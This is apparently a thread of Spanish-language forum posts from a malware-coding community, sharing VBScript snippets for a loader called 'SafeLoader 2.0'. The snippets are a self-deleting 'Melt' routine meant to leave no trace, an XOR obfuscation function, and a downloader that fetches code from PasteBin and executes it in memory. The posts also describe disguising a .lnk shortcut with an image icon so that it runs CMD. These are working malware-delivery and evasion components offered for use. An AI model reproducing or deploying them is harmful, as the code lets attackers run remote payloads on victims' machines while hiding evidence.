Simplemente llama a la aplicacion desde el CMD con "Start", aunque creo que se deberia usar WScript.ScriptFullName, a ver si lo ve MadAntrax.

//Regards.

Bueno, este Melt lo acabo de hacer para el SafeLoader 2.0, trata de no dejar ningun rastro del archivo, por eso todo se hace "On the Fly". 

sMelt(WScript.ScriptFullName)
 
Function sMelt(sFile)
    On Error Resume Next
 
	Dim sFunction
 
    sFunction = "WScript.Sleep 3000: Set Melt = CreateObject(" & Chr(34) & "Scripting.FileSystemObject" & Chr(34) & "): Melt.DeleteFile " & Chr(34) & sFile & Chr(34)
 
	Execute(sFunction)
End Function

//Regards.

Digamos que basicamente crea el .lnk apuntando hacia el CMD con parametros y asignandole un Icono de imagen.

//Regards.

Bueno esto es una traducción simple que hice del XOR a VBS.   

Function sXOR(sText, sKey)
    On Error Resume Next
 
	Dim i, s, k
 
	For i = 1 To Len(sText)
	    s = Mid(sText, i, 1): k = Asc(s): k = k Xor Len(sKey): k = Chr(k): sXOR = sXOR & k
	Next
End Function

//Regards.

Te quedó de lujo bro, no sabia esos atajos de teclado para Twitter y Facebook. 

//Regards.

Bueno, esto es un simple PasteBin Downloader, lo que hace basicamente es descargar el codigo (VBScript) de PasteBin y ejecutarlo en memoria.

Function sDownloader(sPasteID)
    On Error Resume Next
 
    Dim GetCode, GetResponse
 
    Set GetCode = CreateObject("MSXML2.XMLHTTP")
    GetCode.Open "GET", "http://pastebin.com/raw.php?i=" & sPasteID, False
    GetCode.Send
 
    GetResponse = GetCode.ResponseText
    Execute(GetResponse)
End Function

//Regards.